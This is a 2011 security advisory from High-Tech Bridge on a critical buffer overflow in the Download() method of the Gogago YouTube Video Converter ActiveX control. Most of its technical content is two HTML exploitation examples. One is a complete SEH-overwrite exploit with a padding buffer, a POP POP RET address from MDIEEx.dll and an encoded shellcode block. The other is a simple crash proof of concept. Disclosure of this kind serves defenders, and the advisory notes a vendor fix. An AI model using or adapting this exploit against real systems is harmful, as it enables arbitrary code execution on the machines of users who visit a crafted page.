Buffer Overflow Vulnerability in Gogago YouTube Video Converter ActiveX Control
| Advisory ID: | HTB23012 |
| Product: | Gogago YouTube Video Converter |
| Vendor: | Gogago |
| Vulnerable Versions: | 1.1.6 (3/29/2011) and probably prior |
| Tested Version: | 1.1.6 (3/29/2011) |
| Advisory Publication: | May 25, 2011 [without technical details] |
| Vendor Notification: | May 25, 2011 |
| Public Disclosure: | June 15, 2011 |
| Latest Update: | June 16, 2011 |
| Vulnerability Type: | Buffer Errors [CWE-119] |
| Risk Level: | Critical |
|  |
| CVSSv2 Base Score: | 10 (AV:N/AC:L/Au:N/C:C/I:C/A:C) |
| Solution Status: | Fixed by Vendor |
| Discovered and Provided: | High-Tech Bridge Security Research Lab |
|
Advisory Details: |
High-Tech Bridge SA Security Research Lab has discovered vulnerability in Gogago YouTube Video Converter ActiveX Control which could be exploited to compromise vulnerable system.
1) Buffer Overflow Vulnerability in Gogago YouTube Video Converter ActiveX Control
Boundary error exists in the "Download()" method in MDIEEx.dll when handling overly log strings. A remote attacker can trick user into visiting a specially crafted webpage, cause buffer overflow and execute arbitrary code on the target system with privileges of the current user.
Exploitation example:
<html>
<body>
<object id=ctrl classid="clsid:{7966A32A-5783-4F0B-824C-09077C023080}"></object>
<script language='javascript'>
shellcode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49%49%51%5a%56%54%58 %36%33%30%56%58%34%41%30%42%36%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48% 34%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41%56%58%34%5a%38%42%44%4a%4 f%4d%4e%4f%4c%56%4b%4e%4d%54%4a%4e%49%4f%4f%4f%4f%4f%4f%4f%42%56%4b%48%4e%56 %46%32%46%32%4b%38%45%44%4e%53%4b%58%4e%37%45%30%4a%57%41%30%4f%4e%4b%48%4f% 34%4a%51%4b%58%4f%35%42%52%41%50%4b%4e%49%54%4b%48%46%53%4b%48%41%50%50%4e%4 1%33%42%4c%49%59%4e%4a%46%38%42%4c%46%37%47%50%41%4c%4c%4c%4d%30%41%30%44%4c %4b%4e%46%4f%4b%53%46%55%46%42%4a%52%45%57%45%4e%4b%58%4f%35%46%32%41%30%4b% 4e%48%56%4b%58%4e%30%4b%44%4b%58%4f%55%4e%51%41%50%4b%4e%43%50%4e%32%4b%48%4 9%38%4e%56%46%42%4e%31%41%46%43%4c%41%53%4b%4d%46%36%4b%58%43%54%42%43%4b%48 %42%44%4e%50%4b%58%42%47%4e%51%4d%4a%4b%38%42%54%4a%30%50%35%4a%56%50%48%50% 54%50%30%4e%4e%42%55%4f%4f%48%4d%48%46%43%35%48%56%4a%36%43%33%44%53%4a%46%4 7%47%43%37%44%43%4f%45%46%55%4f%4f%42%4d%4a%46%4b%4c%4d%4e%4e%4f%4b%43%42%55 %4f%4f%48%4d%4f%35%49%48%45%4e%48%56%41%38%4d%4e%4a%30%44%50%45%45%4c%36%44% 50%4f%4f%42%4d%4a%46%49%4d%49%50%45%4f%4d%4a%47%55%4f%4f%48%4d%43%55%43%35%4 3%35%43%55%43%45%43%54%43%55%43%54%43%45%4f%4f%42%4d%48%56%4a%56%41%41%4e%45 %48%46%43%55%49%48%41%4e%45%39%4a%36%46%4a%4c%31%42%37%47%4c%47%55%4f%4f%48% 4d%4c%46%42%41%41%55%45%35%4f%4f%42%4d%4a%46%46%4a%4d%4a%50%32%49%4e%47%35%4 f%4f%48%4d%43%55%45%55%4f%4f%42%4d%4a%36%45%4e%49%34%48%48%49%54%47%45%4f%4f %48%4d%42%35%46%35%46%55%45%45%4f%4f%42%4d%43%39%4a%46%47%4e%49%37%48%4c%49% 57%47%35%4f%4f%48%4d%45%45%4f%4f%42%4d%48%56%4c%36%46%56%48%56%4a%46%43%46%4 d%56%49%38%45%4e%4c%56%42%45%49%35%49%42%4e%4c%49%38%47%4e%4c%46%46%54%49%38 %44%4e%41%33%42%4c%43%4f%4c%4a%50%4f%44%54%4d%32%50%4f%44%44%4e%32%43%49%4d% 58%4c%57%4a%53%4b%4a%4b%4a%4b%4a%4a%46%44%57%50%4f%43%4b%48%41%4f%4f%45%57%4 6%44%4f%4f%48%4d%4b%55%47%55%44%55%41%45%41%45%41%45%4c%56%41%30%41%45%41%35 %45%45%41%45%4f%4f%42%4d%4a%46%4d%4a%49%4d%45%30%50%4c%43%45%4f%4f%48%4d%4c% 36%4f%4f%4f%4f%47%43%4f%4f%42%4d%4b%38%47%35%4e%4f%43%38%46%4c%46%46%4f%4f%4 8%4d%44%55%4f%4f%42%4d%4a%46%42%4f%4c%58%46%30%4f%45%43%35%4f%4f%48%4d%4f%4f %42%4d%5a")
function Exploit()
{
var size_buff = 2367;
var x = "aaaa";
while (x.length < size_buff) x += x; // Injecting our junk buffer
x = x.substring(0,size_buff);
var NEXT_exception = unescape("%eb%06%90%90"); // Jump over 6 bytes to reach our payload
x += NEXT_exception;
var SE = unescape("%d2%26%f0%03"); // 03f026d2 from MDIEEx.dll (POP POP RET)
x += SE;
x += shellcode;
ctrl.Download(x);
}
</script>
<input language=JavaScript onclick=Exploit() type=button value="Go">
</body>
</html>
Exploitation example:
<html>
<body>
<object classid='clsid:7966A32A-5783-4F0B-824C-09077C023080' id='target'></object>
<script language='javascript'>
var arg1 = '';
while (arg1.length < 2000) arg1+='A';
target.Download(arg1);
</script>
</body>
</html> |
- GDPR & PCI DSS Test
- Website CMS Security Test
- CSP & HTTP Headers Check
- WordPress & Drupal Scanning
Try For Free
Solution: |
| Upgrade to the most recent version |
| |
References: |
[1] High-Tech Bridge Advisory HTB23012 - https://www.immuniweb.com/advisory/HTB23012 - Buffer Overflow Vulnerability in Gogago YouTube Video Converter ActiveX Control
[2] Gogago YouTube Video Converter - gogago.net - YouTube Video Downloader is an utility that allows you to download your favorite videos from YouTube and convert them to any format for any device.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types. |
|
Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.
